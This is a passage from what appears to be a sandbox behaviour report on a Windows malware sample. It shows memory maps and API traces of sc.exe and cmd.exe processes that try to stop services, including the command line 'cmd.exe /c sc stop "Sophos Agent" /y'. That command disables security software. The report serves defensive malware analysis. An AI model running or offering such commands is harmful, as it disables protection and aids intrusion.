0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2881 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2882 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2883 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2884 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2885 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2886 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2887 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2888 start_va = 0x350000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2889 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2890 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2891 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2892 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2893 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2894 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2895 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2896 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2897 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2898 start_va = 0x530000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2899 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2900 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2901 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2902 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2903 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2904 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2905 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2906 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2907 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2908 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2909 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2910 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2911 start_va = 0x1f0000 end_va = 0x2affff entry_point = 0x1f0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2912 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x130000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 123 os_tid = 0x248 [0060.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef89c | out: lpSystemTimeAsFileTime=0x1ef89c*(dwLowDateTime=0xde9f4140, dwHighDateTime=0x1d4abdd)) [0060.088] GetCurrentProcessId () returned 0x4a0 [0060.088] GetCurrentThreadId () returned 0x248 [0060.088] GetTickCount () returned 0x1c744 [0060.088] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef894 | out: lpPerformanceCount=0x1ef894*=1813531800000) returned 1 [0060.088] GetModuleHandleA (lpModuleName=0x0) returned 0xf40000 [0060.089] __set_app_type (_Type=0x1) [0060.089] __p__fmode () returned 0x75ed31f4 [0060.089] __p__commode () returned 0x75ed31fc [0060.089] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf479c7) returned 0x0 [0060.089] __wgetmainargs (in: _Argc=0xf49020, _Argv=0xf49028, _Env=0xf49024, _DoWildCard=0, _StartInfo=0xf49034 | out: _Argc=0xf49020, _Argv=0xf49028, _Env=0xf49024) returned 0 [0060.090] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.093] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.093] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0060.093] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0060.093] _wcsicmp (_String1="stop", _String2="query") returned 2 [0060.093] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0060.093] _wcsicmp (_String1="stop", _String2="start") returned 14 [0060.093] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0060.093] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0060.093] _wcsicmp (_String1="stop", _String2="control") returned 16 [0060.093] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0060.093] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0060.093] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x53f7b8 [0060.096] OpenServiceW (hSCManager=0x53f7b8, lpServiceName="Enterprise Client Service", dwDesiredAccess=0x20) returned 0x0 [0060.096] GetLastError () returned 0x424 [0060.096] _itow (in: _Dest=0x424, _Radix=2029364 | out: _Dest=0x424) returned="1060" [0060.096] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xf49380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0060.098] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1ef71c, nSize=0x2, Arguments=0x1ef728 | out: lpBuffer="ᨨT\x01") returned 0x62 [0060.098] GetFileType (hFile=0x7) returned 0x2 [0060.098] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ef6f0 | out: lpMode=0x1ef6f0) returned 1 [0060.099] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x541a28*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x1ef70c, lpReserved=0x0 | out: lpBuffer=0x541a28*, lpNumberOfCharsWritten=0x1ef70c*=0x62) returned 1 [0060.099] LocalFree (hMem=0x541a28) returned 0x0 [0060.099] LocalFree (hMem=0x0) returned 0x0 [0060.099] CloseServiceHandle (hSCObject=0x53f7b8) returned 1 [0060.102] exit (_Code=1060) Thread: id = 124 os_tid = 0x114 Process: id = "44" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2ffa000" os_pid = "0x49c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Agent\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2913 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2914 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2915 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2916 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2917 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2918 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2919 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2920 start_va = 0x4a4a0000 end_va = 0x4a4ebfff entry_point = 0x4a4a0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2921 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2922 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2923 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2924 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2925 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2926 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2927 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2928 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2929 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2930 start_va = 0x4c0000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2931 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2932 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2933 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2934 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2935 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2936 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2937 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2938 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2939 start_va = 0x680000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 2940 start_va = 0x75210000 end_va = 0x75216fff entry_point = 0x75210000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2941 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2942 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2943 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2944 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2945 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2946 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2947 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2948 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2949 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2950 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2951 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2952 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2953 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2954 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2955 start_va = 0x780000 end_va = 0x907fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2956 start_va = 0x950000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 2957 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2958 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2959 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2960 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2961 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2962 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2963 start_va = 0x960000 end_va = 0xae0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 2964 start_va = 0xaf0000 end_va = 0x1eeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 2965 start_va = 0x1ef0000 end_va = 0x2232fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 2966 start_va = 0x2240000 end_va = 0x250efff entry_point = 0x2240000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 125 os_tid = 0x7c8 [0060.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x37fddc | out: lpSystemTimeAsFileTime=0x37fddc*(dwLowDateTime=0xdeb4ada0, dwHighDateTime=0x1d4abdd)) [0060.227] GetCurrentProcessId () returned 0x49c [0060.227] GetCurrentThreadId () returned 0x7c8 [0060.227] GetTickCount () returned 0x1c7d0 [0060.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37fdd4 | out: lpPerformanceCount=0x37fdd4*=1813545700000) returned 1 [0060.228] GetModuleHandleA (lpModuleName=0x0) returned 0x4a4a0000 [0060.228] __set_app_type (_Type=0x1) [0060.228] __p__fmode () returned 0x75ed31f4 [0060.228] __p__commode () returned 0x75ed31fc [0060.228] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4c21a6) returned 0x0 [0060.228] __getmainargs (in: _Argc=0x4a4c4238, _Argv=0x4a4c4240, _Env=0x4a4c423c, _DoWildCard=0, _StartInfo=0x4a4c4140 | out: _Argc=0x4a4c4238, _Argv=0x4a4c4240, _Env=0x4a4c423c) returned 0 [0060.228] GetCurrentThreadId () returned 0x7c8 [0060.228] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7c8) returned 0x60 [0060.229] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.229] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0060.229] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.230] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.230] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x37fd6c | out: phkResult=0x37fd6c*=0x0) returned 0x2 [0060.230] VirtualQuery (in: lpAddress=0x37fda3, lpBuffer=0x37fd3c, dwLength=0x1c | out: lpBuffer=0x37fd3c*(BaseAddress=0x37f000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.230] VirtualQuery (in: lpAddress=0x280000, lpBuffer=0x37fd3c, dwLength=0x1c | out: lpBuffer=0x37fd3c*(BaseAddress=0x280000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0060.230] VirtualQuery (in: lpAddress=0x281000, lpBuffer=0x37fd3c, dwLength=0x1c | out: lpBuffer=0x37fd3c*(BaseAddress=0x281000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0060.230] VirtualQuery (in: lpAddress=0x283000, lpBuffer=0x37fd3c, dwLength=0x1c | out: lpBuffer=0x37fd3c*(BaseAddress=0x283000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.230] VirtualQuery (in: lpAddress=0x380000, lpBuffer=0x37fd3c, dwLength=0x1c | out: lpBuffer=0x37fd3c*(BaseAddress=0x380000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0060.230] GetConsoleOutputCP () returned 0x1b5 [0060.231] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4c4260 | out: lpCPInfo=0x4a4c4260) returned 1 [0060.231] SetConsoleCtrlHandler (HandlerRoutine=0x4a4be72a, Add=1) returned 1 [0060.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.231] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0060.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.231] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4c41ac | out: lpMode=0x4a4c41ac) returned 1 [0060.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.231] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.232] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.232] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4c41b0 | out: lpMode=0x4a4c41b0) returned 1 [0060.232] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.232] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0060.232] GetEnvironmentStringsW () returned 0x692b28* [0060.232] FreeEnvironmentStringsW (penv=0x692b28) returned 1 [0060.232] GetEnvironmentStringsW () returned 0x692b28* [0060.233] FreeEnvironmentStringsW (penv=0x692b28) returned 1 [0060.233] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ecdc | out: phkResult=0x37ecdc*=0x6c) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x0, lpData=0x37ece8*=0x32, lpcbData=0x37ece0*=0x1000) returned 0x2 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x1, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x0, lpData=0x37ece8*=0x1, lpcbData=0x37ece0*=0x1000) returned 0x2 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x0, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x40, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x40, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x0, lpData=0x37ece8*=0x40, lpcbData=0x37ece0*=0x1000) returned 0x2 [0060.233] RegCloseKey (hKey=0x6c) returned 0x0 [0060.233] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ecdc | out: phkResult=0x37ecdc*=0x6c) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x0, lpData=0x37ece8*=0x40, lpcbData=0x37ece0*=0x1000) returned 0x2 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x1, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.233] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x0, lpData=0x37ece8*=0x1, lpcbData=0x37ece0*=0x1000) returned 0x2 [0060.234] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x0, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.234] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x9, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.234] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: lpType=0x37ece4*=0x4, lpData=0x37ece8*=0x9, lpcbData=0x37ece0*=0x4) returned 0x0 [0060.234] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37ece4, lpData=0x37ece8, lpcbData=0x37ece0*=0x1000 | out: 